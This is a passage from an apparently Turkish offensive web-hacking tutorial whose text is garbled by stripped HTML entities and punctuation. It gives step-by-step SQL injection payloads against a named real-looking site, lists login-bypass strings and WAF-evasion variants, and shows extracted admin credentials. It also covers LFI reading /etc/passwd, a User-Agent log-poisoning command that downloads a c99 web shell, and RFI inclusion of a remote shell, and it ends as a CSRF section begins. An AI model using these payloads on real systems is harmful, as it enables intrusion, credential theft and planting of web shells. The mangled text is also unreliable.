Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
